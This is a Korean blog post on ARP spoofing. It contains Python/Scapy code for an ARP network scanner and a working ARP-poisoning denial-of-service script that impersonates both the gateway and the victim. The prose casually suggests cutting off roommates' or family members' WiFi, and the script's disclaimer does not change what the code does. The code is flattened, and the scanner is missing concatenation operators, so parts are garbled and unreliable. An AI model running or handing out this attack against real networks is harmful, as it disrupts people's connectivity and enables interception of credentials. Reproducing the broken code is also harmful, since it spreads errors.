ARP(주소 확인 프로토콜)는 LAN에서 IP 주소를 물리적 주소(MAC 주소)로 변환하는 데 사용되는 중요한 프로토콜입니다.
ARP 공격은 ARP 프로토콜의 취약점을 악용하는 것입니다. 위조된 ARP 메시지를 전송함으로써 공격자는 자신의 MAC 주소를 피해자의 IP 주소에 바인딩하여 네트워크 통신을 가로채거나 변경하거나 방해할 수 있습니다.
ARP 공격은 ARP 프로토콜에 고유한 보안 기능이 부족하여 네트워크 공격자의 주요 대상이 되므로 구현하기가 특히 쉽습니다. 따라서 ARP 스푸핑 또는 ARP 중독은 일반적이고 위험한 네트워크 공격 방법이 되었습니다.
Python을 사용하면 100줄 미만으로 코드를 완성할 수 있으며 그 효과는 상당히 큽니다. 룸메이트나 가족 구성원의 WiFi 연결이 금방 끊어질 수 있습니다. 물론, 좋은 친구를 제외한 다른 사람을 무작위로 공격하려고 해서는 안 됩니다.
서비스 거부 공격: ARP 공격을 통해 룸메이트나 가족의 Wi-Fi 연결을 방해할 수 있습니다. 공격자는 공격자가 게이트웨이라고 생각하도록 대상 컴퓨터를 속임으로써 대상 컴퓨터와 게이트웨이 간의 통신을 중단하여 대상 컴퓨터가 네트워크 리소스에 액세스하는 것을 방지할 수 있습니다.
네트워크 스니핑: 공격자는 ARP 공격을 사용하여 네트워크의 모든 통신 패킷을 캡처하여 민감한 정보를 분석하고 추출할 수 있습니다.
데이터 변조: 공격자는 중간자 공격을 통해 데이터 패킷의 내용을 변경하여 통신 데이터를 변경할 수 있습니다.
실제 사례
ARP 스푸핑: 공격자는 위조된 ARP 응답 메시지를 로컬 네트워크의 다른 장치에 보내 MAC 주소를 합법적인 장치의 IP 주소에 바인딩합니다. 예를 들어, 공격자는 MAC 주소를 게이트웨이의 IP 주소에 바인딩하여 로컬 네트워크의 모든 장치를 속여 공격자에게 데이터를 보낼 수 있습니다.
중간자 공격: ARP 스푸핑이 성공하면 공격자는 피해자와 게이트웨이 사이에 위치하여 모든 통신 데이터를 가로채서 전달할 수 있습니다. 이를 통해 공격자는 로그인 자격 증명, 은행 계좌 정보 등 민감한 정보를 훔칠 수 있습니다.
데이터 변조: 공격자는 데이터를 가로챌 수 있을 뿐만 아니라 피해자나 게이트웨이에 전달하기 전에 데이터를 변경하여 추가 공격을 가능하게 합니다.
먼저 기본적인 ARP 스캐닝 기능을 구현하겠습니다. ARP 프로브 구현은 간단합니다. 두 가지 함수를 정의할 수 있습니다. 하나는 generate_ip_range라는 함수로, IP 주소 문자열을 가져와 해당 서브넷 내의 모든 호스트 주소를 생성합니다. 다른 하나는 ARP 패킷을 보내는 arp_scan입니다. Scapy의 ARP 기능을 사용하여 ARP 요청을 구성하고 srp를 사용하여 보낸 다음 응답을 기다릴 수 있습니다.
from scapy.all import * import argparse import threading, time import logging # Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20 def Parse_IP(targets): _split = targets.split('/') first_ip = _split[0] ip_split = first_ip.split('.') ipv4 = range(int(ip_split[3]), int(_split[1]) 1) addr = [ip_split[0] '.' ip_split[1] '.' ip_split[2] '.' str(p) for p in ipv4] return addr # Scan the local network for online devices using the ARP protocol def ARP_Scan(address): try: ret = sr1(ARP(pdst=address), timeout=5, verbose=False) if ret: if ret.haslayer('ARP') and ret.fields['op'] == 2: print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc'])) except Exception: exit(1) if __name__ == "__main__": logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan") args = parser.parse_args() # Usage: main.py -s 192.168.1.1/100 if args.scan: addr_list = Parse_IP(args.scan) for item in addr_list: threads = [] t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() for item in threads: item.join() else: parser.print_help()
다음으로 ARP 서비스 거부 공격을 구현하는 방법을 알아보겠습니다. ARP DOS 공격의 핵심은 send_payload 기능입니다. 이 함수에 대한 각 호출은 두 개의 패킷을 보냅니다. 첫 번째 패킷은 게이트웨이인 척하여 대상 컴퓨터가 공격자가 게이트웨이라고 생각하도록 속입니다. 두 번째 패킷은 대상 컴퓨터인 것처럼 가장하여 게이트웨이를 속여 공격자가 대상 컴퓨터라고 생각하도록 합니다. 이 두 패킷을 여러 스레드로 보내면 대상 컴퓨터가 네트워크에 연결할 수 없게 되어 DOS 공격이 발생합니다.
""" Disclaimer: This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission. Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations. The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization. Before running this code, please confirm that you have understood and accepted this disclaimer. """ from scapy.all import * import argparse import threading, time import logging # Create and send payloads def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP)) # Generate ARP packet, pretending to be the gateway to deceive the target computer sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface) # Generate ARP packet, pretending to be the target computer to deceive the gateway sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name") parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address") parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address") args = parser.parse_args() # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10 if args.gateway and args.target: srcMac = get_if_hwaddr(args.interface) # Get the local MAC address through the interface name tgtMac = getmacbyip(args.target) # Get the target computer's MAC address through its IP address gatewayMac = getmacbyip(args.gateway) # Specify the gateway MAC address in the local network while True: t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()
독립 개발자로서 귀하는 다양한 복잡한 공격, 특히 가장 간단한 공격으로부터 웹사이트를 보호해야 하는 과제에 자주 직면할 수 있습니다.
예를 들어 ARP 공격은 실행하기가 매우 쉽고 공격 코드는 100줄 미만입니다. 그러나 이로 인한 피해는 심각할 수 있습니다. 개발자가 모든 단일 유형의 공격을 세부적으로 방어해야 한다면 이는 엄청난 작업이 될 수 있으며 잠재적으로 개발 작업량을 초과할 수 있습니다.
따라서 타사 플랫폼을 통합하는 것이 매우 일반적인 솔루션이 되었습니다. Edgeone 및 Cloudflare와 같은 플랫폼은 효과적인 보호 서비스를 제공할 수 있습니다. 이러한 서비스는 몇 달러가 필요할 수 있지만 호신술에 비해 정신적 부담을 크게 줄여줍니다.
이 글은 일반적인 네트워크 공격과 그 해결책에 대해 제가 쓴 글입니다. 관심 있으신 분들은 편하게 확인해 보세요.
부인 성명: 제공된 모든 리소스는 부분적으로 인터넷에서 가져온 것입니다. 귀하의 저작권이나 기타 권리 및 이익이 침해된 경우 자세한 이유를 설명하고 저작권 또는 권리 및 이익에 대한 증거를 제공한 후 이메일([email protected])로 보내주십시오. 최대한 빨리 처리해 드리겠습니다.
Copyright© 2022 湘ICP备2022001581号-3